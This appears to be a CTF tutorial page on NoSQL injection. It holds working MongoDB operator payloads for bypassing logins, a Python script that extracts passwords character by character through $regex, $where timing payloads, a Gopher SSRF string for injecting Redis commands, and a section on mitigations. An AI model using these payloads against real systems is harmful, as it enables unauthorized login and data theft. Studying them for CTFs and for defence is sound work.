NoSQL Injection
Exploit MongoDB, Redis, and other NoSQL injection vulnerabilities in CTF web challenges.
NoSQL Injection
NoSQL injection targets non-relational databases (MongoDB, CouchDB, Redis and others) where user input is embedded into query objects or commands. Unlike SQL, NoSQL databases often use JSON-like query languages or text protocols - but the end result is the same: attacker-controlled operators can change query logic, bypass authentication, and extract data.
At a glance - how NoSQL injection differs
- NoSQL engines use operator-based queries (e.g. MongoDB's
$ne,$gt,$regex) instead of SQL keywords. - Payloads are frequently JSON, form-array encodings (PHP), or raw text protocols (Redis).
- Server-side JavaScript (
$where) or database-specific functions can enable powerful blind/time-based attacks.
Core primitives
- Operator injection: inject objects like
{"$ne": ...},{"$gt": ...},{"$regex": ...}into query parameters. - Type confusion: send arrays, objects, or strings where the app expects a scalar.
- Protocol injection: abuse text protocols (Redis) via SSRF/Gopher.
MongoDB - common operator-based attacks
Authentication bypass (classic)
If user input is inserted directly into a MongoDB query object, supplying an operator bypasses equality checks.
Vulnerable server code (Node/Express example):
// Vulnerable
const user = await db.collection('users').findOne({
username: req.body.username,
password: req.body.password
});Attack payload (JSON):
{ "username": "admin", "password": { "$ne": "x" } }This turns the query into password: { $ne: 'x' }, which matches many documents and may return the first user (often admin).
Why this works
The query language treats the injected object as an operator. The application did not expect an object and therefore failed to validate or coerce input.
PHP array syntax (common source of injection)
In PHP's form-encoding, username[$ne]=x will be parsed into {"username":{"$ne":"x"}} on the server side. Test both JSON and form-encoded variants.
Examples:
- JSON body:
{ "password": {"$ne": "x"} } - Form-encoded:
password[$ne]=x
Data extraction techniques
Regex-based extraction (character-by-character)
Use $regex to test prefixes and extract values one character at a time. Prefer a limited charset and short timeouts.
Example (Python):
import requests, re
def extract_field(url, user='admin', field='password', charset=None):
if charset is None:
charset = 'abcdefghijklmnopqrstuvwxyz0123456789_{}-'
known = ''
while True:
for ch in charset:
payload = { 'username': user, f'{field}[$regex]': f'^{re.escape(known+ch)}' }
r = requests.post(url, json=payload, timeout=5)
if r.status_code == 200 and 'Welcome' in r.text:
known += ch
print('\r[+] found:', known, end='')
break
else:
print('\n[!] done')
return known
# usage: extract_field('http://target/login')Blind / time-based with $where
When $where (server-side JS) is supported, return-time can be used to infer truth. Example payloads for prefix checks:
{"$where": "this.password && this.password.indexOf('adm')===0 && sleep(500)"}Be mindful: $where can be disabled or restricted; modern MongoDB versions have hardened JS execution.
Redis - protocol-level injection and SSRF
- Redis uses a line-based text protocol. If user input is inserted into a Redis command or a service accepts arbitrary payloads, attackers can craft raw Redis commands.
- SSRF or Gopher-based requests to
127.0.0.1:6379can be used to push commands to Redis from a vulnerable webapp.
Example Gopher string (conceptual):
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$4%0d%0akey%0d%0a$5%0d%0avalue%0d%0aDetection and testing checklist
- Try JSON and form-encoded variants (e.g.,
password[$ne]=x). - Look for JSON errors or Mongo-specific error messages in responses.
- Test operator payloads:
$ne,$gt,$gte,$lt,$in,$nin,$exists,$regex,$where. - For blind/time-based: use small sleeps and binary search strategies to reduce requests.
- Test Redis via SSRF endpoints or URL fetchers with Gopher support.
Quick checklist:
- POST JSON:
{"username":"admin","password":{"$ne":"x"}} - POST form:
password[$ne]=x - Test
$regexextraction - Test
$wheretiming - Probe for Redis via SSRF/Gopher
Bypasses and filters
- Case variations and comments are less common in NoSQL, but encoding the payload (URL-encoding, hex, CHAR()) can bypass naive filters.
- For PHP parsing filters, try both array-encoded forms and encoded JSON strings.
Examples:
password[$ne]=x
password=%7B%22$ne%22%3A%22x%22%7D # url-encoded JSONPrevention and mitigations
- Use typed input validation: require scalars where scalars are expected; reject objects/arrays for username/password fields.
- Strictly validate and sanitize JSON input; do not blindly
JSON.parse()and pass objects to the DB driver. - Use allowlists for fields and operators; drop or reject
$-prefixed keys server-side. - Use parameterized drivers / query builders that do not allow operator injection from user data.
- Remove or restrict server-side JS execution and dangerous DB features (disable
$where, restrict file/exec functions). - Apply least privilege to DB users and avoid granting file / admin privileges to web-facing accounts.
Practical examples & payloads
Login bypass (JSON)
POST /login HTTP/1.1
Content-Type: application/json
{"username":"admin","password":{"$ne":"x"}}Login bypass (form)
username=admin&password[$ne]=xPrefix extraction (regex) - single request style
POST /login
Content-Type: application/json
{"username":"admin","password":{"$regex":"^adm"}}See also
- PortSwigger NoSQL Injection guidance
- SQL Injection - Basics
Last updated on